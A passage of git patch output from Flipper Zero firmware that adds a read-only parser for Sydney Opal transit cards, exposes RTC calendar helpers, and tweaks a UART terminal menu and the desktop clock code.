text_input_view_draw_callback(Canvas* canvas, void* _model) { canvas_draw_str(canvas, 2, 8, model->header); elements_slightly_rounded_frame(canvas, 1, 12, 126, 15); - char buf[model->text_buffer_size + 1]; + char buf[text_length + 1]; if(model->text_buffer) { strlcpy(buf, model->text_buffer, sizeof(buf)); } From 363f555ed74ab79aea0a6700779b22197bf1305d Mon Sep 17 00:00:00 2001 From: micolous Date: Mon, 29 May 2023 21:55:55 +1000 Subject: [PATCH 078/100] Implement support for reading Opal card (Sydney, Australia) (#2683) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Implement support for reading Opal card (Sydney, Australia) * stub_parser_verify_read: used UNUSED macro * furi_hal_rtc: expose calendaring as functions * opal: use bit-packed struct to parse, rather than manually shifting about * Update f18 api symbols Co-authored-by: あく --- .../main/nfc/scenes/nfc_scene_device_info.c | 1 + .../nfc_scene_mf_desfire_read_success.c | 61 +++--- .../main/nfc/scenes/nfc_scene_nfc_data_info.c | 2 +- .../main/nfc/scenes/nfc_scene_saved_menu.c | 1 + firmware/targets/f18/api_symbols.csv | 5 +- firmware/targets/f7/api_symbols.csv | 7 +- firmware/targets/f7/furi_hal/furi_hal_rtc.c | 24 ++- .../targets/furi_hal_include/furi_hal_rtc.h | 24 +++ lib/nfc/nfc_worker.c | 13 ++ lib/nfc/parsers/nfc_supported_card.c | 15 ++ lib/nfc/parsers/nfc_supported_card.h | 6 + lib/nfc/parsers/opal.c | 204 ++++++++++++++++++ lib/nfc/parsers/opal.h | 5 + lib/nfc/protocols/mifare_desfire.c | 24 +++ lib/nfc/protocols/mifare_desfire.h | 3 + 15 files changed, 357 insertions(+), 38 deletions(-) create mode 100644 lib/nfc/parsers/opal.c create mode 100644 lib/nfc/parsers/opal.h diff --git a/applications/main/nfc/scenes/nfc_scene_device_info.c b/applications/main/nfc/scenes/nfc_scene_device_info.c index 9780ffe41..5d51c0816 100644 --- a/applications/main/nfc/scenes/nfc_scene_device_info.c +++ b/applications/main/nfc/scenes/nfc_scene_device_info.c @@ -52,6 +52,7 @@ void nfc_scene_device_info_on_enter(void* context) { } } else if( dev_data->protocol == NfcDeviceProtocolMifareClassic || + dev_data->protocol == NfcDeviceProtocolMifareDesfire || dev_data->protocol == NfcDeviceProtocolMifareUl) { furi_string_set(temp_str, nfc->dev->dev_data.parsed_data); } diff --git a/applications/main/nfc/scenes/nfc_scene_mf_desfire_read_success.c b/applications/main/nfc/scenes/nfc_scene_mf_desfire_read_success.c index 39030397f..633549eb5 100644 --- a/applications/main/nfc/scenes/nfc_scene_mf_desfire_read_success.c +++ b/applications/main/nfc/scenes/nfc_scene_mf_desfire_read_success.c @@ -20,35 +20,40 @@ void nfc_scene_mf_desfire_read_success_on_enter(void* context) { Widget* widget = nfc->widget; // Prepare string for data display - FuriString* temp_str = furi_string_alloc_printf("\e#MIFARE DESfire\n"); - furi_string_cat_printf(temp_str, "UID:"); - for(size_t i = 0; i < nfc_data->uid_len; i++) { - furi_string_cat_printf(temp_str, " %02X", nfc_data->uid[i]); - } - - uint32_t bytes_total = 1UL << (data->version.sw_storage >> 1); - uint32_t bytes_free = data->free_memory ? data->free_memory->bytes : 0; - furi_string_cat_printf(temp_str, "\n%lu", bytes_total); - if(data->version.sw_storage & 1) { - furi_string_push_back(temp_str, '+'); - } - furi_string_cat_printf(temp_str, " bytes, %lu bytes free\n", bytes_free); - - uint16_t n_apps = 0; - uint16_t n_files = 0; - for(MifareDesfireApplication* app = data->app_head; app; app = app->next) { - n_apps++; - for(MifareDesfireFile* file = app->file_head; file; file = file->next) { - n_files++; + FuriString* temp_str = NULL; + if(furi_string_size(nfc->dev->dev_data.parsed_data)) { + temp_str = furi_string_alloc_set(nfc->dev->dev_data.parsed_data); + } else { + temp_str = furi_string_alloc_printf("\e#MIFARE DESFire\n"); + furi_string_cat_printf(temp_str, "UID:"); + for(size_t i = 0; i < nfc_data->uid_len; i++) { + furi_string_cat_printf(temp_str, " %02X", nfc_data->uid[i]); + } + + uint32_t bytes_total = 1UL << (data->version.sw_storage >> 1); + uint32_t bytes_free = data->free_memory ? data->free_memory->bytes : 0; + furi_string_cat_printf(temp_str, "\n%lu", bytes_total); + if(data->version.sw_storage & 1) { + furi_string_push_back(temp_str, '+'); + } + furi_string_cat_printf(temp_str, " bytes, %lu bytes free\n", bytes_free); + + uint16_t n_apps = 0; + uint16_t n_files = 0; + for(MifareDesfireApplication* app = data->app_head; app; app = app->next) { + n_apps++; + for(MifareDesfireFile* file = app->file_head; file; file = file->next) { + n_files++; + } + } + furi_string_cat_printf(temp_str, "%d Application", n_apps); + if(n_apps != 1) { + furi_string_push_back(temp_str, 's'); + } + furi_string_cat_printf(temp_str, ", %d file", n_files); + if(n_files != 1) { + furi_string_push_back(temp_str, 's'); } - } - furi_string_cat_printf(temp_str, "%d Application", n_apps); - if(n_apps != 1) { - furi_string_push_back(temp_str, 's'); - } - furi_string_cat_printf(temp_str, ", %d file", n_files); - if(n_files != 1) { - furi_string_push_back(temp_str, 's'); } notification_message_block(nfc->notifications, &sequence_set_green_255); diff --git a/applications/main/nfc/scenes/nfc_scene_nfc_data_info.c b/applications/main/nfc/scenes/nfc_scene_nfc_data_info.c index 92ad7b56e..b44bb5e64 100644 --- a/applications/main/nfc/scenes/nfc_scene_nfc_data_info.c +++ b/applications/main/nfc/scenes/nfc_scene_nfc_data_info.c @@ -40,7 +40,7 @@ void nfc_scene_nfc_data_info_on_enter(void* context) { furi_string_cat_printf( temp_str, "\e#%s\n", nfc_mf_classic_type(dev_data->mf_classic_data.type)); } else if(protocol == NfcDeviceProtocolMifareDesfire) { - furi_string_cat_printf(temp_str, "\e#MIFARE DESfire\n"); + furi_string_cat_printf(temp_str, "\e#MIFARE DESFire\n"); } else { furi_string_cat_printf(temp_str, "\e#Unknown ISO tag\n"); } diff --git a/applications/main/nfc/scenes/nfc_scene_saved_menu.c b/applications/main/nfc/scenes/nfc_scene_saved_menu.c index e45dc4eb7..4573cdc45 100644 --- a/applications/main/nfc/scenes/nfc_scene_saved_menu.c +++ b/applications/main/nfc/scenes/nfc_scene_saved_menu.c @@ -148,6 +148,7 @@ bool nfc_scene_saved_menu_on_event(void* context, SceneManagerEvent event) { application_info_present = true; } else if( dev_data->protocol == NfcDeviceProtocolMifareClassic || + dev_data->protocol == NfcDeviceProtocolMifareDesfire || dev_data->protocol == NfcDeviceProtocolMifareUl) { application_info_present = nfc_supported_card_verify_and_parse(dev_data); } diff --git a/firmware/targets/f18/api_symbols.csv b/firmware/targets/f18/api_symbols.csv index 68248a6d2..08aa69133 100644 --- a/firmware/targets/f18/api_symbols.csv +++ b/firmware/targets/f18/api_symbols.csv @@ -1,5 +1,5 @@ entry,status,name,type,params -Version,+,27.0,, +Version,+,27.1,, Header,+,applications/services/bt/bt_service/bt.h,, Header,+,applications/services/cli/cli.h,, Header,+,applications/services/cli/cli_vcp.h,, @@ -1048,6 +1048,8 @@ Function,+,furi_hal_rtc_datetime_to_timestamp,uint32_t,FuriHalRtcDateTime* Function,-,furi_hal_rtc_deinit_early,void, Function,+,furi_hal_rtc_get_boot_mode,FuriHalRtcBootMode, Function,+,furi_hal_rtc_get_datetime,void,FuriHalRtcDateTime* +Function,+,furi_hal_rtc_get_days_per_month,uint8_t,"_Bool, uint8_t" +Function,+,furi_hal_rtc_get_days_per_year,uint16_t,uint16_t Function,+,furi_hal_rtc_get_fault_data,uint32_t, Function,+,furi_hal_rtc_get_heap_track_mode,FuriHalRtcHeapTrackMode, Function,+,furi_hal_rtc_get_locale_dateformat,FuriHalRtcLocaleDateFormat, @@ -1060,6 +1062,7 @@ Function,+,furi_hal_rtc_get_timestamp,uint32_t, Function,-,furi_hal_rtc_init,void, Function,-,furi_hal_rtc_init_early,void, Function,+,furi_hal_rtc_is_flag_set,_Bool,FuriHalRtcFlag +Function,+,furi_hal_rtc_is_leap_year,_Bool,uint16_t Function,+,furi_hal_rtc_reset_flag,void,FuriHalRtcFlag Function,+,furi_hal_rtc_set_boot_mode,void,FuriHalRtcBootMode Function,+,furi_hal_rtc_set_datetime,void,FuriHalRtcDateTime* diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index ccbaa5317..1055cb2bf 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -1,5 +1,5 @@ entry,status,name,type,params -Version,+,27.0,, +Version,+,27.1,, Header,+,applications/services/bt/bt_service/bt.h,, Header,+,applications/services/cli/cli.h,, Header,+,applications/services/cli/cli_vcp.h,, @@ -1313,6 +1313,8 @@ Function,+,furi_hal_rtc_datetime_to_timestamp,uint32_t,FuriHalRtcDateTime* Function,-,furi_hal_rtc_deinit_early,void, Function,+,furi_hal_rtc_get_boot_mode,FuriHalRtcBootMode, Function,+,furi_hal_rtc_get_datetime,void,FuriHalRtcDateTime* +Function,+,furi_hal_rtc_get_days_per_month,uint8_t,"_Bool, uint8_t" +Function,+,furi_hal_rtc_get_days_per_year,uint16_t,uint16_t Function,+,furi_hal_rtc_get_fault_data,uint32_t, Function,+,furi_hal_rtc_get_heap_track_mode,FuriHalRtcHeapTrackMode, Function,+,furi_hal_rtc_get_locale_dateformat,FuriHalRtcLocaleDateFormat, @@ -1325,6 +1327,7 @@ Function,+,furi_hal_rtc_get_timestamp,uint32_t, Function,-,furi_hal_rtc_init,void, Function,-,furi_hal_rtc_init_early,void, Function,+,furi_hal_rtc_is_flag_set,_Bool,FuriHalRtcFlag +Function,+,furi_hal_rtc_is_leap_year,_Bool,uint16_t Function,+,furi_hal_rtc_reset_flag,void,FuriHalRtcFlag Function,+,furi_hal_rtc_set_boot_mode,void,FuriHalRtcBootMode Function,+,furi_hal_rtc_set_datetime,void,FuriHalRtcDateTime* @@ -1991,6 +1994,8 @@ Function,-,mf_df_cat_key_settings,void,"MifareDesfireKeySettings*, FuriString*" Function,-,mf_df_cat_version,void,"MifareDesfireVersion*, FuriString*" Function,-,mf_df_check_card_type,_Bool,"uint8_t, uint8_t, uint8_t" Function,-,mf_df_clear,void,MifareDesfireData* +Function,-,mf_df_get_application,MifareDesfireApplication*,"MifareDesfireData*, const uint8_t[3]*" +Function,-,mf_df_get_file,MifareDesfireFile*,"MifareDesfireApplication*, uint8_t" Function,-,mf_df_parse_get_application_ids_response,_Bool,"uint8_t*, uint16_t, MifareDesfireApplication**" Function,-,mf_df_parse_get_file_ids_response,_Bool,"uint8_t*, uint16_t, MifareDesfireFile**" Function,-,mf_df_parse_get_file_settings_response,_Bool,"uint8_t*, uint16_t, MifareDesfireFile*" diff --git a/firmware/targets/f7/furi_hal/furi_hal_rtc.c b/firmware/targets/f7/furi_hal/furi_hal_rtc.c index 7bd45c35d..8dfe1a13e 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_rtc.c +++ b/firmware/targets/f7/furi_hal/furi_hal_rtc.c @@ -44,10 +44,8 @@ _Static_assert(sizeof(SystemReg) == 4, "SystemReg size mismatch"); #define FURI_HAL_RTC_SECONDS_PER_DAY (FURI_HAL_RTC_SECONDS_PER_HOUR * 24) #define FURI_HAL_RTC_MONTHS_COUNT 12 #define FURI_HAL_RTC_EPOCH_START_YEAR 1970 -#define FURI_HAL_RTC_IS_LEAP_YEAR(year) \ - ((((year) % 4 == 0) && ((year) % 100 != 0)) || ((year) % 400 == 0)) -static const uint8_t furi_hal_rtc_days_per_month[][FURI_HAL_RTC_MONTHS_COUNT] = { +static const uint8_t furi_hal_rtc_days_per_month[2][FURI_HAL_RTC_MONTHS_COUNT] = { {31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31}, {31, 29, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31}}; @@ -395,7 +393,7 @@ uint32_t furi_hal_rtc_datetime_to_timestamp(FuriHalRtcDateTime* datetime) { uint8_t leap_years = 0; for(uint16_t y = FURI_HAL_RTC_EPOCH_START_YEAR; y < datetime->year; y++) { - if(FURI_HAL_RTC_IS_LEAP_YEAR(y)) { + if(furi_hal_rtc_is_leap_year(y)) { leap_years++; } else { years++; @@ -406,10 +404,10 @@ uint32_t furi_hal_rtc_datetime_to_timestamp(FuriHalRtcDateTime* datetime) { ((years * furi_hal_rtc_days_per_year[0]) + (leap_years * furi_hal_rtc_days_per_year[1])) * FURI_HAL_RTC_SECONDS_PER_DAY; - uint8_t year_index = (FURI_HAL_RTC_IS_LEAP_YEAR(datetime->year)) ? 1 : 0; + bool leap_year = furi_hal_rtc_is_leap_year(datetime->year); - for(uint8_t m = 0; m < (datetime->month - 1); m++) { - timestamp += furi_hal_rtc_days_per_month[year_index][m] * FURI_HAL_RTC_SECONDS_PER_DAY; + for(uint8_t m = 1; m < datetime->month; m++) { + timestamp += furi_hal_rtc_get_days_per_month(leap_year, m) * FURI_HAL_RTC_SECONDS_PER_DAY; } timestamp += (datetime->day - 1) * FURI_HAL_RTC_SECONDS_PER_DAY; @@ -419,3 +417,15 @@ uint32_t furi_hal_rtc_datetime_to_timestamp(FuriHalRtcDateTime* datetime) { return timestamp; } + +uint16_t furi_hal_rtc_get_days_per_year(uint16_t year) { + return furi_hal_rtc_days_per_year[furi_hal_rtc_is_leap_year(year) ? 1 : 0]; +} + +bool furi_hal_rtc_is_leap_year(uint16_t year) { + return (((year) % 4 == 0) && ((year) % 100 != 0)) || ((year) % 400 == 0); +} + +uint8_t furi_hal_rtc_get_days_per_month(bool leap_year, uint8_t month) { + return furi_hal_rtc_days_per_month[leap_year ? 1 : 0][month - 1]; +} diff --git a/firmware/targets/furi_hal_include/furi_hal_rtc.h b/firmware/targets/furi_hal_include/furi_hal_rtc.h index e706c5c76..186d22f07 100644 --- a/firmware/targets/furi_hal_include/furi_hal_rtc.h +++ b/firmware/targets/furi_hal_include/furi_hal_rtc.h @@ -255,6 +255,30 @@ uint32_t furi_hal_rtc_get_timestamp(); */ uint32_t furi_hal_rtc_datetime_to_timestamp(FuriHalRtcDateTime* datetime); +/** Gets the number of days in the year according to the Gregorian calendar. + * + * @param year Input year. + * + * @return number of days in `year`. + */ +uint16_t furi_hal_rtc_get_days_per_year(uint16_t year); + +/** Check if a year a leap year in the Gregorian calendar. + * + * @param year Input year. + * + * @return true if `year` is a leap year. + */ +bool furi_hal_rtc_is_leap_year(uint16_t year); + +/** Get the number of days in the month. + * + * @param leap_year true to calculate based on leap years + * @param month month to check, where 1 = January + * @return the number of days in the month + */ +uint8_t furi_hal_rtc_get_days_per_month(bool leap_year, uint8_t month); + #ifdef __cplusplus } #endif diff --git a/lib/nfc/nfc_worker.c b/lib/nfc/nfc_worker.c index 28a1f6827..daa8fee59 100644 --- a/lib/nfc/nfc_worker.c +++ b/lib/nfc/nfc_worker.c @@ -219,6 +219,19 @@ static bool nfc_worker_read_mf_desfire(NfcWorker* nfc_worker, FuriHalNfcTxRxCont do { if(!furi_hal_nfc_detect(&nfc_worker->dev_data->nfc_data, 300)) break; if(!mf_df_read_card(tx_rx, data)) break; + FURI_LOG_I(TAG, "Trying to parse a supported card ..."); + + // The model for parsing DESFire is a little different to other cards; + // we don't have parsers to provide encryption keys, so we can read the + // data normally, and then pass the read data to a parser. + // + // There are fully-protected DESFire cards, but providing keys for them + // is difficult (and unnessesary for many transit cards). + for(size_t i = 0; i < NfcSupportedCardTypeEnd; i++) { + if(nfc_supported_card[i].protocol == NfcDeviceProtocolMifareDesfire) { + if(nfc_supported_card[i].parse(nfc_worker->dev_data)) break; + } + } read_success = true; } while(false); diff --git a/lib/nfc/parsers/nfc_supported_card.c b/lib/nfc/parsers/nfc_supported_card.c index fc2dc34e0..153d4d3c5 100644 --- a/lib/nfc/parsers/nfc_supported_card.c +++ b/lib/nfc/parsers/nfc_supported_card.c @@ -6,6 +6,7 @@ #include "troika_4k_parser.h" #include "two_cities.h" #include "all_in_one.h" +#include "opal.h" NfcSupportedCard nfc_supported_card[NfcSupportedCardTypeEnd] = { [NfcSupportedCardTypePlantain] = @@ -50,6 +51,14 @@ NfcSupportedCard nfc_supported_card[NfcSupportedCardTypeEnd] = { .read = all_in_one_parser_read, .parse = all_in_one_parser_parse, }, + [NfcSupportedCardTypeOpal] = + { + .protocol = NfcDeviceProtocolMifareDesfire, + .verify = stub_parser_verify_read, + .read = stub_parser_verify_read, + .parse = opal_parser_parse, + }, + }; bool nfc_supported_card_verify_and_parse(NfcDeviceData* dev_data) { @@ -65,3 +74,9 @@ bool nfc_supported_card_verify_and_parse(NfcDeviceData* dev_data) { return card_parsed; } + +bool stub_parser_verify_read(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* tx_rx) { + UNUSED(nfc_worker); + UNUSED(tx_rx); + return false; +} diff --git a/lib/nfc/parsers/nfc_supported_card.h b/lib/nfc/parsers/nfc_supported_card.h index 4af59aded..877bda737 100644 --- a/lib/nfc/parsers/nfc_supported_card.h +++ b/lib/nfc/parsers/nfc_supported_card.h @@ -11,6 +11,7 @@ typedef enum { NfcSupportedCardTypeTroika4K, NfcSupportedCardTypeTwoCities, NfcSupportedCardTypeAllInOne, + NfcSupportedCardTypeOpal, NfcSupportedCardTypeEnd, } NfcSupportedCardType; @@ -31,3 +32,8 @@ typedef struct { extern NfcSupportedCard nfc_supported_card[NfcSupportedCardTypeEnd]; bool nfc_supported_card_verify_and_parse(NfcDeviceData* dev_data); + +// stub_parser_verify_read does nothing, and always reports that it does not +// support the card. This is needed for DESFire card parsers which can't +// provide keys, and only use NfcSupportedCard->parse. +bool stub_parser_verify_read(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* tx_rx); diff --git a/lib/nfc/parsers/opal.c b/lib/nfc/parsers/opal.c new file mode 100644 index 000000000..b5ca37eb6 --- /dev/null +++ b/lib/nfc/parsers/opal.c @@ -0,0 +1,204 @@ +/* + * opal.c - Parser for Opal card (Sydney, Australia). + * + * Copyright 2023 Michael Farrell + * + * This will only read "standard" MIFARE DESFire-based Opal cards. Free travel + * cards (including School Opal cards, veteran, vision-impaired persons and + * TfNSW employees' cards) and single-trip tickets are MIFARE Ultralight C + * cards and not supported. + * + * Reference: https://github.com/metrodroid/metrodroid/wiki/Opal + * + * Note: The card values are all little-endian (like Flipper), but the above + * reference was originally written based on Java APIs, which are big-endian. + * This implementation presumes a little-endian system. + * + * This program is free software: you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ +#include "nfc_supported_card.h" +#include "opal.h" + +#include +#include +#include + +#include + +static const uint8_t opal_aid[3] = {0x31, 0x45, 0x53}; +static const char* opal_modes[5] = + {"Rail / Metro", "Ferry / Light Rail", "Bus", "Unknown mode", "Manly Ferry"}; +static const char* opal_usages[14] = { + "New / Unused", + "Tap on: new journey", + "Tap on: transfer from same mode", + "Tap on: transfer from other mode", + "", // Manly Ferry: new journey + "", // Manly Ferry: transfer from ferry + "", // Manly Ferry: transfer from other + "Tap off: distance fare", + "Tap off: flat fare", + "Automated tap off: failed to tap off", + "Tap off: end of trip without start", + "Tap off: reversal", + "Tap on: rejected", + "Unknown usage", +}; + +// Opal file 0x7 structure. Assumes a little-endian CPU. +typedef struct __attribute__((__packed__)) { + uint32_t serial : 32; + uint8_t check_digit : 4; + bool blocked : 1; + uint16_t txn_number : 16; + int32_t balance : 21; + uint16_t days : 15; + uint16_t minutes : 11; + uint8_t mode : 3; + uint16_t usage : 4; + bool auto_topup : 1; + uint8_t weekly_journeys : 4; + uint16_t checksum : 16; +} OpalFile; + +static_assert(sizeof(OpalFile) == 16); + +// Converts an Opal timestamp to FuriHalRtcDateTime. +// +// Opal measures days since 1980-01-01 and minutes since midnight, and presumes +// all days are 1440 minutes. +void opal_date_time_to_furi(uint16_t days, uint16_t minutes, FuriHalRtcDateTime* out) { + if(!out) return; + uint16_t diy; + out->year = 1980; + out->month = 1; + // 1980-01-01 is a Tuesday + out->weekday = ((days + 1) % 7) + 1; + out->hour = minutes / 60; + out->minute = minutes % 60; + out->second = 0; + + // What year is it? + for(;;) { + diy = furi_hal_rtc_get_days_per_year(out->year); + if(days < diy) break; + days -= diy; + out->year++; + } + + // 1-index the day of the year + days++; + // What month is it? + bool is_leap = furi_hal_rtc_is_leap_year(out->year); + + for(;;) { + uint8_t dim = furi_hal_rtc_get_days_per_month(is_leap, out->month); + if(days <= dim) break; + days -= dim; + out->month++; + } + + out->day = days; +} + +bool opal_parser_parse(NfcDeviceData* dev_data) { + if(dev_data->protocol != NfcDeviceProtocolMifareDesfire) { + return false; + } + + MifareDesfireApplication* app = mf_df_get_application(&dev_data->mf_df_data, &opal_aid); + if(app == NULL) { + return false; + } + MifareDesfireFile* f = mf_df_get_file(app, 0x07); + if(f == NULL || f->type != MifareDesfireFileTypeStandard || f->settings.data.size != 16 || + !f->contents) { + return false; + } + + OpalFile* o = (OpalFile*)f->contents; + + uint8_t serial2 = o->serial / 10000000; + uint16_t serial3 = (o->serial / 1000) % 10000; + uint16_t serial4 = (o->serial % 1000); + + if(o->check_digit > 9) { + return false; + } + + char* sign = ""; + if(o->balance < 0) { + // Negative balance. Make this a positive value again and record the + // sign separately, because then we can handle balances of -99..-1 + // cents, as the "dollars" division below would result in a positive + // zero value. + o->balance = abs(o->balance); + sign = "-"; + } + uint8_t cents = o->balance % 100; + int32_t dollars = o->balance / 100; + + FuriHalRtcDateTime timestamp; + opal_date_time_to_furi(o->days, o->minutes, ×tamp); + + if(o->mode >= 3) { + // 3..7 are "reserved", but we use 4 to indicate the Manly Ferry. + o->mode = 3; + } + + if(o->usage >= 4 && o->usage <= 6) { + // Usages 4..6 associated with the Manly Ferry, which correspond to + // usages 1..3 for other modes. + o->usage -= 3; + o->mode = 4; + } + + const char* mode_str = (o->mode <= 4 ? opal_modes[o->mode] : opal_modes[3]); + const char* usage_str = (o->usage <= 12 ? opal_usages[o->usage] : opal_usages[13]); + + furi_string_printf( + dev_data->parsed_data, + "\e#Opal: $%s%ld.%02hu\n3085 22%02hhu %04hu %03hu%01hhu\n%s, %s\n", + sign, + dollars, + cents, + serial2, + serial3, + serial4, + o->check_digit, + mode_str, + usage_str); + FuriString* timestamp_str = furi_string_alloc(); + locale_format_date(timestamp_str, ×tamp, locale_get_date_format(), "-"); + furi_string_cat(dev_data->parsed_data, timestamp_str); + furi_string_cat_str(dev_data->parsed_data, " at "); + + locale_format_time(timestamp_str, ×tamp, locale_get_time_format(), false); + furi_string_cat(dev_data->parsed_data, timestamp_str); + + furi_string_free(timestamp_str); + furi_string_cat_printf( + dev_data->parsed_data, + "\nWeekly journeys: %hhu, Txn #%hu\n", + o->weekly_journeys, + o->txn_number); + + if(o->auto_topup) { + furi_string_cat_str(dev_data->parsed_data, "Auto-topup enabled\n"); + } + if(o->blocked) { + furi_string_cat_str(dev_data->parsed_data, "Card blocked\n"); + } + return true; +} diff --git a/lib/nfc/parsers/opal.h b/lib/nfc/parsers/opal.h new file mode 100644 index 000000000..42caf9a17 --- /dev/null +++ b/lib/nfc/parsers/opal.h @@ -0,0 +1,5 @@ +#pragma once + +#include "nfc_supported_card.h" + +bool opal_parser_parse(NfcDeviceData* dev_data); diff --git a/lib/nfc/protocols/mifare_desfire.c b/lib/nfc/protocols/mifare_desfire.c index 23308ae95..e0ead737f 100644 --- a/lib/nfc/protocols/mifare_desfire.c +++ b/lib/nfc/protocols/mifare_desfire.c @@ -42,6 +42,30 @@ void mf_df_clear(MifareDesfireData* data) { data->app_head = NULL; } +MifareDesfireApplication* mf_df_get_application(MifareDesfireData* data, const uint8_t (*aid)[3]) { + if(!data) { + return NULL; + } + for(MifareDesfireApplication* app = data->app_head; app; app = app->next) { + if(memcmp(aid, app->id, 3) == 0) { + return app; + } + } + return NULL; +} + +MifareDesfireFile* mf_df_get_file(MifareDesfireApplication* app, uint8_t id) { + if(!app) { + return NULL; + } + for(MifareDesfireFile* file = app->file_head; file; file = file->next) { + if(file->id == id) { + return file; + } + } + return NULL; +} + void mf_df_cat_data(MifareDesfireData* data, FuriString* out) { mf_df_cat_card_info(data, out); for(MifareDesfireApplication* app = data->app_head; app; app = app->next) { diff --git a/lib/nfc/protocols/mifare_desfire.h b/lib/nfc/protocols/mifare_desfire.h index 963a18f58..3dc7c4c2a 100644 --- a/lib/nfc/protocols/mifare_desfire.h +++ b/lib/nfc/protocols/mifare_desfire.h @@ -130,6 +130,9 @@ void mf_df_cat_file(MifareDesfireFile* file, FuriString* out); bool mf_df_check_card_type(uint8_t ATQA0, uint8_t ATQA1, uint8_t SAK); +MifareDesfireApplication* mf_df_get_application(MifareDesfireData* data, const uint8_t (*aid)[3]); +MifareDesfireFile* mf_df_get_file(MifareDesfireApplication* app, uint8_t id); + uint16_t mf_df_prepare_get_version(uint8_t* dest); bool mf_df_parse_get_version_response(uint8_t* buf, uint16_t len, MifareDesfireVersion* out); From 23ff7d913a145bffb2007702b1d3262db1f5f1c0 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Mon, 29 May 2023 17:47:45 +0300 Subject: [PATCH 079/100] Update UART Terminal --- .../external/uart_terminal/scenes/uart_terminal_scene_start.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/applications/external/uart_terminal/scenes/uart_terminal_scene_start.c b/applications/external/uart_terminal/scenes/uart_terminal_scene_start.c index d4de748b6..60411b34c 100644 --- a/applications/external/uart_terminal/scenes/uart_terminal_scene_start.c +++ b/applications/external/uart_terminal/scenes/uart_terminal_scene_start.c @@ -28,7 +28,7 @@ const UART_TerminalItem items[NUM_MENU_ITEMS] = { 9, {"115200", "2400", "9600", "19200", "38400", "57600", "230400", "460800", "921600"}, NO_ARGS, - FOCUS_CONSOLE_TOGGLE, + FOCUS_CONSOLE_END, NO_TIP}, {"Send command", {""}, 1, {""}, INPUT_ARGS, FOCUS_CONSOLE_END, NO_TIP}, {"Send AT command", {""}, 1, {"AT"}, INPUT_ARGS, FOCUS_CONSOLE_END, NO_TIP}, From b17125c65caeae8c8191c2fd30016254bacd1536 Mon Sep 17 00:00:00 2001 From: gid9798 <30450294+gid9798@users.noreply.github.com> Date: Mon, 29 May 2023 17:54:01 +0300 Subject: [PATCH 080/100] Desktop Clock: some improvements --- applications/services/desktop/desktop.c | 57 +++++++++++++------------ 1 file changed, 30 insertions(+), 27 deletions(-) diff --git a/applications/services/desktop/desktop.c b/applications/services/desktop/desktop.c index bad120abc..88469af0f 100644 --- a/applications/services/desktop/desktop.c +++ b/applications/services/desktop/desktop.c @@ -49,11 +49,32 @@ static void desktop_dummy_mode_icon_draw_callback(Canvas* canvas, void* context) canvas_draw_icon(canvas, 0, 0, &I_GameMode_11x8); } -static void desktop_toggle_clock_view(Desktop* desktop, bool is_enabled) { +static void desktop_clock_upd_time(Desktop* desktop, bool forced) { furi_assert(desktop); - // clock type upd after 1 minute - desktop->clock_type = (locale_get_time_format() == LocaleTimeFormat24h); + FuriHalRtcDateTime curr_dt; + furi_hal_rtc_get_datetime(&curr_dt); + + if(forced) { + desktop->clock_type = (locale_get_time_format() == LocaleTimeFormat24h); + } + + if(forced || (desktop->minute != curr_dt.minute)) { + if(desktop->clock_type) { + desktop->hour = curr_dt.hour; + } else { + desktop->hour = (curr_dt.hour > 12) ? curr_dt.hour - 12 : + ((curr_dt.hour == 0) ? 12 : curr_dt.hour); + } + desktop->minute = curr_dt.minute; + view_port_update(desktop->clock_viewport); + } +} + +static void desktop_clock_toggle_view(Desktop* desktop, bool is_enabled) { + furi_assert(desktop); + + desktop_clock_upd_time(desktop, true); if(is_enabled) { // && !furi_timer_is_running(desktop->update_clock_timer)) { furi_timer_start(desktop->update_clock_timer, furi_ms_to_ticks(1000)); @@ -141,7 +162,7 @@ static bool desktop_custom_event_callback(void* context, uint32_t event) { // locking and unlocking DESKTOP_SETTINGS_LOAD(&desktop->settings); - desktop_toggle_clock_view(desktop, desktop->settings.display_clock); + desktop_clock_toggle_view(desktop, desktop->settings.display_clock); desktop_auto_lock_arm(desktop); return true; @@ -208,24 +229,12 @@ static void desktop_auto_lock_inhibit(Desktop* desktop) { } } -static void desktop_update_clock_timer_callback(void* context) { +static void desktop_clock_timer_callback(void* context) { furi_assert(context); Desktop* desktop = context; if(gui_get_count_of_enabled_view_port_in_layer(desktop->gui, GuiLayerStatusBarLeft) < 6) { - FuriHalRtcDateTime curr_dt; - furi_hal_rtc_get_datetime(&curr_dt); - - if(desktop->minute != curr_dt.minute) { - if(desktop->clock_type) { - desktop->hour = curr_dt.hour; - } else { - desktop->hour = (curr_dt.hour > 12) ? curr_dt.hour - 12 : - ((curr_dt.hour == 0) ? 12 : curr_dt.hour); - } - desktop->minute = curr_dt.minute; - view_port_update(desktop->clock_viewport); - } + desktop_clock_upd_time(desktop, false); view_port_enabled_set(desktop->clock_viewport, true); } else { @@ -424,18 +433,12 @@ Desktop* desktop_alloc() { desktop->status_pubsub = furi_pubsub_alloc(); desktop->update_clock_timer = - furi_timer_alloc(desktop_update_clock_timer_callback, FuriTimerTypePeriodic, desktop); + furi_timer_alloc(desktop_clock_timer_callback, FuriTimerTypePeriodic, desktop); FuriHalRtcDateTime curr_dt; furi_hal_rtc_get_datetime(&curr_dt); - if(desktop->clock_type) { - desktop->hour = curr_dt.hour; - } else { - desktop->hour = (curr_dt.hour > 12) ? curr_dt.hour - 12 : - ((curr_dt.hour == 0) ? 12 : curr_dt.hour); - } - desktop->minute = curr_dt.minute; + desktop_clock_upd_time(desktop, true); furi_record_create(RECORD_DESKTOP, desktop); 